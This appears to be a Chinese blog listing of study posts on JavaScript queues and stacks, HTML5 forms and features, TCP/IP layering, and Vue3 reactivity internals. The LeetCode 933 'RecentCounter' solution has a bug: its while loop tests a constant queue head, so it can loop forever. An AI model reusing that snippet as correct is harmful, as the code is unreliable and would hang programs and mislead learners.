队列是什么？#

img

队列是先进先出的数据结构。

JavaScript没有队列的结构，但是可以通过Array实现队列的结构

主要就是用到数组的push和shift方法，以及找到队头 queue[0]

1
const queue = []
2
queue.push('1')
3
queue.push('2')
4
const item1 = queue.shift()
5
const item2 = queue.shift()

队列使用场景#

当无法多个任务并行时，采用先进先出，保持有序性。

食堂排队打饭，JS异步中的任务队列，计算最近的请求次数(队列)。

image.png

计算最近的请求次数

计算最近3000ms内发送的请求

[0,1,100,3001,3002]

[null,1,2,3,3]

当队头和新插入的元素插值大于3000ms时队头出队。

JS异步中的队列#

image.png

webApi执行完毕后会有回调函数里的代码进入Callback Queue，当主线程的同步任务执行完毕以后再执行异步任务。

队列总结#

先进先出的数据结构

树和图会用到队列进行广度优先遍历。

933. 最近的请求次数

Mon, 05 May 2025 00:00:00 GMT

1
var RecentCounter = function() {
2
    this.queue = []
3
};
4

5
/**
6
 * @param {number} t
7
 * @return {number}
8
 */
9
RecentCounter.prototype.ping = function(t) {
10
    this.queue.push(t)
11
    const queueHead = this.queue[0]
12
    while(queueHead < t-3000) {
13
        this.queue.shift();
14
    }
15
    return this.queue.length
16
};

展开收起

栈

Mon, 05 May 2025 00:00:00 GMT

栈是一个后进先出的结构，像一个蜂窝煤炉子

image-20250505095836099

放进去是push, 弹出就是pop。栈顶就是top。

对应的就是Array的方法push和pop，栈顶可以表示为 arr[arr.length-1]

栈可能需要的方法

size 获取栈大小
peek 获取栈顶元素
clear 清空栈

JavaScript是没有栈的，但是JS的数组可以实现栈。

1
const stack = []
2
stack.push('1')
3
stack.push('2')
4
stack.pop()
5
stack.pop()
6

7
console.log(stack)

使用场景

十进制转二进制
栈可以检查字符串的括号是否有效闭合
倒序输出
浏览器历史记录
JS的函数调用背后也是栈来控制顺序，JS的词法环境也是栈来控制

20. 有效的括号

Mon, 05 May 2025 00:00:00 GMT

思路：后进的右括号匹配到左括号，左括号就弹出，符合后进先出

1
var isValid = function (s) {
2
    if(s.length%2!==0) return false
3

4
    let stack = []
5
    for(let i = 0;i < s.length;i ++) {
6
        const curStr = s[i]
7
        const map = new Map([['[',']'],['{','}'],['(',')']])
8
        const isLeft = ['{','(','['].includes(curStr)
9
        if(isLeft) {
10
            stack.push(curStr)
11
        } else {
12
            if(stack.length === 0) return false
13
            const lastStr = stack[stack.length - 1]
14
            if(map.get(lastStr) === curStr) {
15
                stack.pop()
16
            } else {
17
                return false
18
            }
19
        }
20
    }
21
    return stack.length === 0
22
};

展开收起

表单增强

Thu, 01 May 2025 00:00:00 GMT

HTML5 对表单的增强极大提升了表单的可用性、可访问性和用户体验。主要增强点如下：

1. 新的表单控件类型#

类型	说明
`type="email"`	邮箱格式校验
`type="url"`	网址格式校验
`type="tel"`	电话输入
`type="number"`	数字输入，可设置 min/max/step
`type="range"`	滑块选择
`type="date"`	日期选择器
`type="month"`	月份选择器
`type="week"`	周选择器
`type="time"`	时间选择器
`type="datetime-local"`	本地日期时间选择器
`type="color"`	颜色选择器
`type="search"`	搜索输入框
`type="file"`	文件上传，支持 multiple 多文件

2. 新的属性和特性#

required：必填项
placeholder：输入提示
pattern：正则表达式校验
min、max、step：数值和日期范围限制
autofocus：自动聚焦
autocomplete：自动补全
multiple：允许多值输入（如 email、file、select）
readonly、disabled：只读/禁用状态
form：允许表单控件在表单外部，通过 form 属性指定归属的表单
novalidate：表单提交时不进行校验

3. 新的表单元素#

标签	作用说明
`<datalist>`	为 `<input>` 提供下拉建议列表
`<output>`	用于显示计算或脚本输出
`<progress>`	进度条
`<meter>`	刻度值条（如分数、温度等）

4. 原生表单校验#

浏览器自动校验格式（如邮箱、URL、数字范围、正则等），无需 JS 代码
校验不通过时自动阻止提交，并提示用户

5. 表单相关的 JS API 增强#

新增了 checkValidity()、setCustomValidity() 等方法，便于自定义和触发校验
可以通过 JS 访问 validity 状态、validationMessage 等

6. 可访问性和移动端体验提升#

新类型输入框在移动端会弹出合适的键盘（如数字、邮箱、日期等）
更好地支持屏幕阅读器和辅助技术

7. 总览表格#

类型/标签/属性	作用/增强点
新 input 类型	email, url, number, date 等
新标签	datalist, output, progress, meter
新属性	required, pattern, min, max, step, multiple, autofocus, autocomplete, placeholder, form
原生校验	格式、范围、正则、必填等
JS API	checkValidity, setCustomValidity
移动端体验	弹出合适键盘，易输入

8. 实践示例#

1
<!DOCTYPE html>
2
<html lang="zh-CN">
3

4
<head>
5
  <meta charset="UTF-8" />
6
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
7
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
8
  <title>通用HTML模板</title>
9
  <!-- 样式占位，可自定义CSS -->
10
  <style>
11
    body {
12
      font-family: Arial, Helvetica, sans-serif;
13
      margin: 0;
14
      padding: 0;
15
      background: #f8f9fa;
16
      color: #222;
17
    }
18

19
    main {
20
      max-width: 900px;
21
      margin: 2rem auto;
22
      background: #fff;
23
      padding: 2rem;
24
      border-radius: 8px;
25
      box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08);
26
    }
27

28
    nav {
29
      margin-bottom: 1.5rem;
30
    }
31

32
    a {
33
      color: #007bff;
34
      text-decoration: none;
35
    }
36

37
    a:hover {
38
      text-decoration: underline;
39
    }
40
  </style>
41
</head>
42

43
<body>
44
  <main>
45
    <h2>表单示例</h2>
46
    <form>
47
      <div style="margin-bottom: 1em">
48
        <label for="color">颜色选择：</label>
49
        <input id="color" name="color" type="color" />
50
      </div>
51
      <div style="margin-bottom: 1em">
52
        <label for="date">日期：</label>
53
        <input id="date" name="date" type="date" />
54
        <label for="datetime">日期时间：</label>
55
        <input id="datetime" name="datetime" type="datetime-local" />
56
        <label for="month">月份：</label>
57
        <input id="month" name="month" type="month" />
58
        <label for="week">周：</label>
59
        <input id="week" name="week" type="week" />
60
        <label for="time">时间：</label>
61
        <input id="time" name="time" type="time" />
62
      </div>
63
      <div style="margin-bottom: 1em">
64
        <label for="number">数字：</label>
65
        <input id="number" placeholder="值为0~10之间" step="0.5" required name="number" type="number" min="0" max="10"
66
          style="width: 100px;" />
67
        <span style="font-size: 12px; color: #888">number</span>
68
      </div>
69
      <div style="margin-bottom: 1em">
70
        <label for="email">邮箱：</label>
71
        <input id="email" name="email" type="email" required />
72
        <span style="font-size: 12px; color: #888">email 在提交时才会校验邮箱</span>
73
      </div>
74
      <div style="margin-bottom: 1em">
75
        <label for="tel">手机号：</label>
76
        <input id="tel" name="tel" type="tel" />
77
        <span style="font-size: 12px; color: #888">tel 没有格式校验，主要是移动端弹出数字键盘</span>
78
      </div>
79
      <div style="margin-bottom: 1em">
80
        <label for="search">搜索：</label>
81
        <input id="search" name="search" type="search" autofocus />
82
        <span style="font-size: 12px; color: #888">search
83
          浏览器会有清除按钮，利于SEO和可访问性，移动端弹出键盘的确认会变成搜索</span>
84
      </div>
85
      <div style="margin-bottom: 1em">
86
        <label for="range">范围：</label>
87
        <input id="range" name="range" type="range" />
88
      </div>
89
      <div style="margin-bottom: 1em">
90
        <label for="custom">自定义验证：</label>
91
        <input id="custom" name="custom" type="text" />
92
        <span id="custom-error" style="color: red; font-size: 12px;"></span>
93
      </div>
94
      <span style="font-size: 12px; color: #888">range</span>
95
      </div>
96
      <div style="margin-bottom: 1em">
97
        <label for="file">多文件上传：</label>
98
        <input id="file" name="file" type="file" multiple />
99
        <span style="font-size: 12px; color: #888">multiple 支持多文件上传</span>
100
      </div>
101
      <div style="margin-bottom: 1em">
102
        <label>height/width image</label>
103
        <input type="image" name="" value="" width="100" height="100">
104
      </div>
105
      <!-- <button type="submit" style="padding: 0.5em 1.5em">提交</button> -->
106
      <section style="margin-top:2em;">
107
        <div style="margin-bottom:1em;">
108
          <details>
109
            <summary>&lt;details&gt; 下拉详情演示</summary>
110
            用户会在他们输入数据时看到域定义选项的下拉列表。
111
            <br />
112
            例如：
113
            <input list="browsers" name="browser">
114
            <datalist id="browsers">
115
              <option value="Chrome">
116
              <option value="Firefox">
117
              <option value="Safari">
118
              <option value="Edge">
119
            </datalist>
120
          </details>
121
        </div>
122
        <div style="margin-bottom:1em;">
123
          <label for="progress-demo">&lt;progress&gt; 进度条：</label>
124
          <progress id="progress-demo" value="0.6" max="1" style="width:200px;"></progress>
125
          <span style="font-size:12px;color:#888;">展示连接/下载进度</span>
126
        </div>
127
        <div style="margin-bottom:1em;">
128
          <label for="meter-demo">&lt;meter&gt; 刻度值：</label>
129
          <meter id="meter-demo" min="0" max="100" value="70" low="40" high="90" optimum="80"
130
            style="width:200px;"></meter>
131
          <span style="font-size:12px;color:#888;">用于计量（如温度、权重、分数等）</span>
132
        </div>
133
        <div style="margin-bottom:1em;">
134
          <label for="output-demo">&lt;output&gt; 输出：</label>
135
          <span style="font-size:12px;color:#888;">用于不同类型的输出，比如计算或脚本输出</span>
136
        </div>
137
      </section>
138
      <button type="submit" onclick="validateForm()">验证表单</button>
139
      <button type="button" onclick="resetCustomValidation()">重置自定义验证</button>
140
    </form>
141
    <form oninput="result.value=parseInt(a.value)+parseInt(b.value)">
142
      <input type="range" id="a" value="50">+
143
      <input type="number" id="b" value="25">
144
      =
145
      <output name="result" for="a b">75</output>
146
    </form>
147
  </main>
148
  <script>
149
    // 获取表单元素
150
    const form = document.querySelector('form');
151
    const customInput = document.getElementById('custom');
152
    const customError = document.getElementById('custom-error');
153

154
    // 表单验证函数
155
    function validateForm() {
156
      // 检查整个表单的有效性
157
      if (form.checkValidity()) {
158
        alert('表单验证通过！');
159
      } else {
160
        // 检查单个输入的有效性
161
        const emailInput = document.getElementById('email');
162
        if (!emailInput.checkValidity()) {
163
          emailInput.reportValidity(); // 这会显示原生的验证提示
164
          return;
165
        }
166

167
        // 检查数字输入的有效性
168
        const numberInput = document.getElementById('number');
169
        if (!numberInput.checkValidity()) {
170
          numberInput.reportValidity();
171
          return;
172
        }
173

174
        alert('表单验证失败！');
175
      }
176
    }
177

178
    // 自定义验证示例
179
    customInput.addEventListener('input', function () {
180
      if (this.value.length < 5) {
181
        this.setCustomValidity('输入必须至少5个字符');
182
        customError.textContent = '输入必须至少5个字符';
183
      } else {
184
        this.setCustomValidity('');
185
        customError.textContent = '';
186
      }
187
    });
188

189
    // 重置自定义验证
190
    function resetCustomValidation() {
191
      customInput.setCustomValidity('');
192
      customError.textContent = '';
193
      customInput.value = '';
194
    }
195

196
    // 显示验证状态信息
197
    customInput.addEventListener('invalid', function (e) {
198
      e.preventDefault();
199
      customError.textContent = customInput.validationMessage;
200
    });
201

202
    // 显示验证状态信息
203
    customInput.addEventListener('input', function () {
204
      if (customInput.validity.valid) {
205
        customError.textContent = '';
206
      }
207
    });
208
  </script>
209
</body>
210

211
</html>

展开收起

HTML5新特性

Thu, 01 May 2025 00:00:00 GMT

特性	优势
语义化标签	提升 SEO、可访问性、代码可维护性
表单增强	减少 JavaScript 验证，提升用户体验(新增表单类型和表单元素)
多媒体支持	无需插件，直接嵌入音视频
本地存储	离线数据持久化，减少服务器请求(LocalStorage/SessionStorage)
Canvas/SVG	动态图形绘制，替代 Flash
地理定位	提供位置服务，增强本地化体验
Web Workers	多线程处理，避免页面阻塞
WebSocket	实时双向通信，提升交互性
离线应用	支持离线操作，提升可靠性
设备兼容性	访问硬件（摄像头、文件系统），扩展功能

TCP/IP协议

Mon, 08 Aug 2022 00:00:00 GMT

TCP/IP协议是什么#

从字面上来看，很多人会认为 TCP/IP 是 TCP、IP 这两种协议，实际上TCP/IP 协议族指的是在 IP 协议通信过程中用到的协议的统称。

为什么要有TCP/IP网络模型？#

对于同一台设备的进程间通信，有很多种方式，比如管道、消息队列、共享内存、信号等方式，而对于不同设备的进程间通信，就需要网络通信。

一开始计算机厂商各自推出各自的网络体系结构和协议，只能用于自己的产品之间通信，就导致不同厂商之间不兼容，而为了让不同厂商的计算机设备都可以互通，在IETF(Internet Engineering Task Force)的建议下协商出了一系列标准化的网络协议TCP/IP。

TCP/IP网络模型分层#

从顶向下可以分为应用层→传输层→网络层→数据链路层(网络接口层)。

应用层#

我们日常直接接触到的就是应用层(Application Layer) ，电脑、手机使用的应用都是在应用层实现，但若是不同设备的应用之间需要通信的时候，就需要将数据传给下一层，也就是传输层。

应用层专注于给用户提供应用功能，如HTTP、FTP、Telnet、DNS、SMTP等。

应用层不需要关心数据是如何传输的。就像我们寄快递时也不需要关心快递是如何运输到目的地的。

应用层是工作于操作系统中的用户态，而传输层及以下是工作在内核态。

运行在用户态下的程序不能直接访问操作系统内核数据结构和程序。当我们在系统中执行一个程序时，大部分时间是运行在用户态下的，在其需要操作系统帮助完成某些它没有权力和能力完成的工作时就会切换到内核态（比如操作硬件）。

结论：如果不涉及与其他设备通信就不需要内核态，也就是不需要从应用层传到传输层及之后的层。在HTTP协议中，连接就是利用内核建立的。

传输层#

传输层(Transport Layer) 是为应用提供网络支持的。

传输层有两个协议，TCP和UDP。

TCP

TCP全称叫传输控制协议（Transmission Control Protocol），大部分应用使用的是TCP传输层协议，因为应用的应用层使用的是HTTP协议，而HTTP协议是基于传输层的TCP协议。TCP相对比UDP多了很多特性，如流量控制、超时重传、拥塞控制等。是为了确保数据包可以可靠的从一方传输给另一方。

应用需要传输的数据有可能很大，如果直接传输的话不好控制(比如很大的文件如果只传一个包万一网卡就得重传，没法暂停续传)，因此当传输层的数据包大小超过 MSS（TCP 最大报文段长度），就要将数据包分块，这样即使中途有一个分块丢失或损坏了，只需要重新发送这一个分块，而不用重新发送整个数据包。在 TCP 协议中，我们把每个分块称为一个 TCP 段（TCP Segment）。

image-20250510172921327

UDP

UDP相对来说比较简单粗暴，只负责发送到对应应用数据包，不保证包是否能送到对方，但是它的实时性更好，传输效率也比TCP要高。而且UDP也可以实现可靠传输，只要把TCP的特性在应用层实现就可以，这样整体的数据传输还是可靠的。

为什么TCP要有连接

连接可以确保通信双方的收发能力，从而可以保证数据的可靠性，由于IP协议是无连接的，而HTTP之所以可以保证数据准确是在TCP有连接的基础上保证的。而UDP是继承IP协议的无连接，因此如果不在应用层上实现连接和数据可靠性则整个协议就无法保证数据可靠性。

上述所说的TCP建立连接不是说服务器和客户端真的有根网线连一块，而是一种虚拟的，这就和三次握手和四次挥手相关了。

应用层和传输层之间的关系

在客户端要和服务端通信时，应用层的数据包会送到传输层。而在接收服务端数据时，传输层会将对应应用的数据包发到对应应用的端口。

假如你在电脑上分别在用QQ和微信聊天，当你的电脑接受到一个数据包的时候，该怎么知道他到底是QQ的消息还是微信的消息呢？这就需要用传输层报文中的TCP/UDP头中的端口号(Destination Port)来确定，传输层用端口号来标记不同的应用程序。

image-20250510172938222

比如80端口通常是web服务器用，22端口是远程登录服务器，而浏览器中每一个Tab页则是独立的进程，随机分配的端口号。

网络层#

网络层是负责将数据从一个设备传输到另一个设备，而传输层是负责将设备上的数据传输到设备上的应用。目标地址可以是多个网络通过路由器连接而成的某一个地址。因此这一层主要负责寻址和路由选择。

网络层最常使用的是IP协议(Internet Protocol)，IP协议会将从传输层传出的报文作为数据部分，再加上IP报头组装成IP报文。这一层的主要作用是给数据包加上源地址和目标地址，将数据包传送到目标地址。

既然网络层的目的是将数据包传送到目标地址，那么IP协议是如何做到的呢？

通过IP协议的两大功能：寻址、路由。

寻址，匹配到相同的网络号(子网)，然后去对应子网下找对应的主机。

路由，在实际场景中，两台设备并不是由一根网线连接起来的，而是通过很多网关、路由器、交换机等许多网络设备连接起来，是一个网状的结构，从一个点到另一个点，就会有很多路径，因此当数据包到达途径节点时，就需要路由算法来决定下一步走哪条路径。

和TCP报文类似，IP报文在大于MSS时也会分片

在数据包到达网络层，会和IP头(源地址、目标地址)组装成IP报文，如果IP报文大小超过MTU(一般为1500字节)，就会再次分片，得到一个即将发送到网络的IP报文。

image-20250510173003395

上图的意思就是第一次传输层接受到的应用层数据包内容超过一个MSS（TCP 最大报文段长度），因此在传输层分别添加TCP头分为了两个TCP段进行发送，而到达网络层时又都需要添加IP头。而如果此时整个数据包大小若超过MTU(一般为1500字节)就又需要分为两个带IP的数据包到下一层。

IP地址是什么？

IP 地址是一个网卡在网络世界的通讯地址，相当于我们现实世界的门牌号码。

10.100.122.2 就是一个 IPv4 地址。这个地址被点分隔为四个部分，每个部分 8 个 bit(8位2进制)，所以 IP 地址总共是 32 位，也就是说IP地址最多有2的32次方个，42亿多个，但没想到还是不够用了，因此出现了IPv6地址，如fe80::f816:3eff:fec7<7975>/64，IPv6有128位，总数2^128次方，目前看来是够用了。

IP分类

IPv4地址还被分为了5类，分别是A,B,C,D,E这五种。

image-20250510173014668

对于常用的A、B、 C 类主要分两部分，前面是网络号，后面是主机号。可以认为网络号是小区名，而主机号是具体的门牌名。比如A小区1栋1单元201和B小区1栋1单元201。

而不同的小区可以容纳的住户也是不同数量的，比如A类小区下根据主机号24位则可以有2^24次方也就是16777214户，依次类推。

image-20250510173027481

但是按照这样分配则会造成不够用或是浪费的情况，比如C类地址只有254，对于网吧可能都不够用，而B类下有6万多，非大型企业压根也用不完，会导致浪费。

无类型域间选路（CIDR）

因此除了上述的IP分类，有了一个折中的方法叫无类型域间选路，简称 CIDR(Classless Inter-Domain Routing)。CIDR的做法是将32位的IP地址一分为二，前面是网络号，后面是主机号。

网络号，负责标识该 IP 地址是属于哪个「子网」的；
主机号，负责标识同一「子网」下的不同主机；

比如10.100.122.2/24，斜杠后的24代表的意思就是当前网络地址的32位中，前24位是网络号，后8位是主机号。

如何区分网络号和主机号？需要IP地址配合子网掩码算出网络号和主机号。其实上述中10.100.122.2 /24中的24就表示子网掩码是255.255.255.0(3个255代表的实际上就是前24个二进制位都是1，8个2进制1刚好是255)，代表相同的意思。

将子网掩码和IP地址进行逻辑与(AND)运算可以得到网络号。

image-20250510173043706

将子网掩码255.255.255.0取反后与IP地址进行按位与运算，则可以得到主机号也就是2。

伴随CIDR存在的一个是广播地址，10.100.122.255。如果发送到这个地址，则所有10.100.122网络里面的机器都可以收到。网络号可以想成是一个由一些主机组成的大群，广播地址可以认为是直接往大群里发消息的地址。

公有 IP 地址和私有 IP 地址

CIDR中还存在公有IP地址和私有IP地址。

image-20250510173101618

公有IP地址可以认为是小区名，私有IP地址可以认为是门牌号，A小区可以有1栋1单元201，B小区也同样可以有1栋1单元201。

常见的公有IP地址就是那些你在互联网上直接访问到的网站服务器，都有一个公有IP地址以供访问。

一般办公室、家里的IP地址都是私有的地址，这些地址允许组织内部的IT人员自己管理、分配。常见的私有地址是家里Wi-Fi下的IP地址，一般是192.168.0.x，一般/24就够了，对应的就是254个可以分配的IP地址。有时也有/16的CIDR，这两种是最常见的。

可以看出192.168.0是网络号，后面是主机号，整个网络中第一个地址192.168.0.1，往往是你这个私有网络的出口地址，比如连接WIFI，WIFI路由器的地址就是192.168.0.1(通常我们管理路由器比如改密码也是登录这个IP)。

MAC地址

在 IP 地址的上一行是 link/ether fa:16:3e:c7:79<75> brd ff:ff:ff:ff:ff，这个被称为 MAC 地址，是一个网卡的物理地址，用十六进制，6 个 byte 表示。MAC 地址是一个很容易让人“误解”的地址。

因为 MAC 地址号称全局唯一，不会有两个网卡有相同的 MAC 地址，而且网卡自生产出来，就带着这个地址。很多人看到这里就会想，既然这样，整个互联网的通信，全部用 MAC 地址好了，只要知道了对方的 MAC 地址，就可以把信息传过去。这样当然是不行的。一个网络包要从一个地方传到另一个地方，除了要有确定的地址，还需要有定位功能。而有门牌号码属性的 IP 地址，才是有远程定位功能的。

例如，你是一个警察，要抓法外狂徒张三，现在只知道他的身份证号，张三同名的人很多，总不能满中国翻人身份证看是不是这个法外狂徒，所以你得根据情报之类的线索先确定他在哪个区域，然后再根据监控啥的抓捕。MAC 地址就像是身份证，是一个唯一的标识。它的唯一性设计是为了组网的时候，不同的网卡放在一个网络里面的时候，可以不用担心冲突。

从硬件角度，保证不同的网卡有不同的标识。MAC 地址是有一定定位功能的，只不过范围非常有限。你可以根据 IP 地址，找到杭州市网商路 599 号 B 楼 6 层，但是依然找不到我，你就可以靠吼了，大声喊身份证 XXXX 的是哪位？我听到了，我就会站起来说，是我啊。但是如果你在上海，到处喊身份证 XXXX 的是哪位，我不在现场，当然不会回答，因为我在杭州不在上海。

所以，MAC 地址的通信范围比较小，局限在一个子网里面。例如，从 192.168.0.2/24 访问 192.168.0.3/24 是可以用 MAC 地址的。一旦跨子网，即从 192.168.0.2/24 到 192.168.1.2/24，MAC 地址就不行了，需要 IP 地址起作用了。

数据链路层#

通信传输实际上是通过物理的传输介质实现的，数据链路层的作用是在这些通过传输介质互连的设备之间进行数据处理。

将数据中的0、1转换位电压和脉冲光传输通过物理的传输介质在相互直连的设备之间使用MAC地址进行传输。MAC地址，也可以称为物理地址或硬件地址，目的是为了识别连接到同一个传输介质上的设备。

Vue3 源码中 Reactivity 浅析

Fri, 04 Mar 2022 00:00:00 GMT

根据 mini-vue 进行学习.

打开mini-vue pnpm install 安装依赖。

Reactive#

目的#

将一个普通对象转换为 proxy 对象

根据 mini-vue 的源码文件路径 reactivity/src/reactive.ts 分析createReactiveObject(target, proxyMap, baseHandlers)

mini-vue

1
// target就是传入的对象
2
function createReactiveObject(target, proxyMap, baseHandlers) {
3
...
4
  const proxy = new Proxy(
5
    target,
6
    baseHandlers
7
  )
8
...
9
}

在reactive.ts中 import 的三个函数(mutableHandlers/readonlyHandlers/shallowReadonlyHandlers)是从reactivity/src/baseHandlers.ts 文件中 export 的，同时这三个对象也是createReactiveObject中的第三个形参 baseHandlers 的入参，也就是new Proxy的第二个入参。

2.分析reactivity/src/baseHandlers.ts ，根据 MDN 对于Proxy的第二个参数handler的定义我们可以明确，导出的这三个对象内可以用 get 和 set 函数来拦截属性。

目前主要关注导出的对象mutableHandlers ，因为reactive(target)内部用的就是 mutableHandlers。

在reactive.ts 中可以看到通过baseHandlers.ts引入的三个对象，不同的函数引用的不同的对象作为 proxy 的第二个参数 handler

1
import {
2
  mutableHandlers,
3
  readonlyHandlers,
4
  shallowReadonlyHandlers,} from "./baseHandlers";
5
...
6
export function reactive(target) {
7
  return createReactiveObject(target, reactiveMap, **mutableHandlers**);
8
}
9

10
export function readonly(target) {
11
  return createReactiveObject(target, readonlyMap, readonlyHandlers);
12
}
13

14
export function shallowReadonly(target) {
15
  ...
16
}
17
function createReactiveObject(target, proxyMap, baseHandlers) {
18
...
19
  const proxy = new Proxy(
20
    target,
21
    **baseHandlers**
22
  )
23
...

展开收起

baseHandlers.ts 可以看到 mutableHandlers 是如何被构造的

1
const get = createGetter();
2
const set = createSetter();
3
createGetter(isReadonly = false, shallow = false) {
4
  // 返回get函数
5
  return function get(target, key, receiver){
6
    ...
7
    const res = Reflect.get(target, key, receiver);
8
    ...
9
    // 返回通过Reflect.get的值
10
    return res
11
  }
12
}
13
function createSetter() {
14
  // 返回set函数
15
  return function set(target, key, value, receiver) {
16
    const result = Reflect.set(target, key, value, receiver);
17

18
    // 在触发 set 的时候进行触发依赖
19
    trigger(target, "set", key);
20

21
    return result;
22
  };
23
}
24
// 导出给reactive中createReactiveObject作为第二个入参
25
export const mutableHandlers = {
26
  get,
27
  set,
28
};

展开收起

可以看到 mutableHandlers 这个对象内部有 get 和 set 两个属性函数，这两个函数在设置返回值 res/result 时，采用的是 Reflect 上的 get 和 set 方法。

effect 核心#

配合 Reactive / Ref 达到依赖收集(track)和触发依赖(trigger)

src/reactivity/src/effect.ts

effect 的目的(为什么有 effect)#

effect 的目的是什么？

下面是对应单测代码src/reactivity/``**tests**``/effect.spec.ts，同时也对应 effect 需要做到的功能。

effect 会接受一个函数，当后续 counter.num 改变为 7 时，让 dummy 也跟着改变为 7。

也就是说当 effect 内部包裹的函数内依赖的数据发生变化时，重新执行这个函数，更新数据。

1
it("should observe basic properties", () => {
2
    let dummy;
3
    const counter = reactive({ num: 0 });
4
    effect(() => (dummy = counter.num));
5
    expect(dummy).toBe(0);
6
    counter.num = 7;
7
    expect(dummy).toBe(7);
8
  });

effect 是怎么做的#

回过头来看 effect 的代码src/reactivity/src/effect.ts

关注其中的effect(fn, options = {})函数

1
export function effect(fn, options = {}) {
2
  const _effect = new ReactiveEffect(fn);
3
  // 把用户传过来的值合并到 _effect 对象上去
4
  // 缺点就是不是显式的，看代码的时候并不知道有什么值
5
  extend(_effect, options);
6
  // 实际上是执行用户传入的fn。run方法是声明在ReactiveEffect实例上的
7
  _effect.run();
8
  ...
9
}

_effect.run();执行的是ReactiveEffect类给实例对象用的方法

activeEffect 在更新依赖时用于给下一次的 get

1
export class ReactiveEffect {
2
  ...
3
  run() {
4
      ...
5
      // 利用全局属性来获取当前的 effect
6
      activeEffect = this as any;
7
      // 执行用户传入的 fn
8
      const result = this.fn();
9
      ...
10
      return result;
11
    }
12
    ...
13
  }

执行 fn()之后，实际上对应就是调用了上面单测案例中的被 effect 接收的函数() => (dummy = counter.num) , 其中 counter 是一个响应式对象，当couter.name时实际上就会触发 proxy 实例中的 get 方法，其实对应的就是 baseHandler.ts 中的 get 方法

然后来看baseHandler.ts中的get

1
const get = createGetter();
2
function createGetter(isReadonly = false, shallow = false) {
3
  return function get(target, key, receiver) {
4
    ...
5
    const res = Reflect.get(target, key, receiver);
6

7
    // 问题：为什么是 readonly 的时候不做依赖收集呢
8
    // readonly 的话，是不可以被 set 的， 那不可以被 set 就意味着不会触发 trigger
9
    // 所有就没有收集依赖的必要了
10
    if (!isReadonly) {
11
      // 在触发 get 的时候进行依赖收集
12
      track(target, "get", key);
13
    }
14
    ...
15
    return res;
16
  };
17
}

展开收起

可以看到在 get 方法中，只要是非 readonly 的，就会触发track(target, "get", key);来收集依赖，而track是通过 import 从 effect.ts中引入的。

接着来分析effect.ts中的 track 方法

这里的 targetMap 是声明在外部的const targetMap = new WeakMap();也就是说是全局公用的，用于存放所有依赖关系。{对象 : depsMap( {对象属性 : dep( { 依赖函数 1，依赖函数 2 等 } ) )} , 数据 2:…}。

1
export function track(target, type, key) {
2
  ...
3
  console.log(`触发 track -> target: ${target} type:${type} key:${key}`);
4
  // 1. 先基于 target 找到对应的 dep
5
  // 如果是第一次的话，那么就需要初始化
6
  let depsMap = targetMap.get(target);
7
  if (!depsMap) {
8
    // 初始化 depsMap 的逻辑
9
    depsMap = new Map();
10
    targetMap.set(target, depsMap);
11
  }
12
  // 作为容器收集依赖
13
  let dep = depsMap.get(key);
14

15
  if (!dep) {
16
    dep = createDep();
17
    depsMap.set(key, dep);
18
  }
19

20
  trackEffects(dep);
21
}

展开收起

1
export function trackEffects(dep) {
2
  // 用 dep 来存放所有的 effect
3
  // activeEffect就是每次调用run的那个new ReactiveEffect(fn)生成的实例对象_effect
4
  if (!dep.has(activeEffect)) {
5
    dep.add(activeEffect);
6
    (activeEffect as any).deps.push(dep);
7
  }
8
}

通过判断 activeEffect，将依赖收集到了 dep 中。依赖实际上就是 ReactiveEffect 实例

在 triggle 相关函数中将 dep 中所有收集的依赖遍历并执行了。

1
export function trigger(target, type, key) {
2
  // 1. 先收集所有的 dep 放到 deps 里面，
3
  // 后面会统一处理
4
  let deps: Array<any> = [];
5
  // dep
6
  const depsMap = targetMap.get(target);
7

8
  if (!depsMap) return;
9

10
  // 暂时只实现了 GET 类型
11
  // get 类型只需要取出来就可以
12
  const dep = depsMap.get(key);
13

14
  // 最后收集到 deps 内
15
  deps.push(dep);
16

17
  const effects: Array<any> = [];
18
  deps.forEach((dep) => {
19
    // 这里解构 dep 得到的是 dep 内部存储的 effect
20
    effects.push(...dep);
21
  });
22
  // 这里的目的是只有一个 dep ，这个dep 里面包含所有的 effect
23
  // 这里的目前应该是为了 triggerEffects 这个函数的复用
24
  triggerEffects(createDep(effects));
25
}
26
export function triggerEffects(dep) {
27
  // 执行收集到的所有的 effect 的 run 方法
28
  for (const effect of dep) {
29
    if (effect.scheduler) {
30
      // scheduler 可以让用户自己选择调用的时机
31
      // 这样就可以灵活的控制调用了
32
      effect.scheduler();
33
    } else {
34
      effect.run();
35
    }
36
  }
37
}

展开收起

此处 effect.run 实际上就是再次执行了单元测试里effect(() => (dummy = counter.num));中 effect 内部的函数。

整体流程#

对于单元测试的代码打上断点进行调试

1
it("should observe basic properties", () => {
2
    let dummy;
3
    const counter = reactive({ num: 0 });
4
    effect(() => (dummy = counter.num));
5
    expect(dummy).toBe(0);
6
    counter.num = 7;
7
    expect(dummy).toBe(7);
8
  });

effect(() => (dummy = counter.num));可以理解为整个 reactivity 的 init 流程

整体流程就是

执行effect.ts下的effect函数，传入箭头函数() => (dummy = counter.num)
1. 实例化对象_effect = new ReactiveEffect(fn) (ReactiveEffect 的实例上有方法run() )
2. 执行_effect上的run()方法，在 run 方法内部会执行 effect 函数接收的那个箭头函数() => (dummy = counter.num)。
在执行 dummy = counter.num 时，由于 counter 是一个 proxy 对象(被 reactive 包装过)，因此触发执行 proxy 拦截的 get 方法，也就是baseHandlers.ts里的createGetter(isReadonly = false, shallow = false)函数。
1. 返回通过Reflect.get(target, key, receiver)拿到的数据。
2. 由于该 proxy 实例时 handler 参数为mutableHandlers，因此未对createGetter的 isReadonly 设置为 true。对于不是只读的对象(也就是说可以被 set 的 proxy 对象)需要进行依赖收集。
3. 执行依赖收集函数track(target, "get", key)
进入effect.ts中的track(target, type, key)函数。然后执行trackEffects(dep); 将所有的activeEffect收集到dep中。

counter.num = 7;对应的就是 reactivity 流程中的 update

整体流程就是

修改 proxy 对象的值，触发 proxy 拦截的 set 方法，也就是baseHandlers.ts里的createSetter()函数。
1. Reflect.set(target, key, value, receiver)，通过 set 函数返回 Reflect.set 来修改对象内部属性值。
2. 执行trigger(target, "set", key);
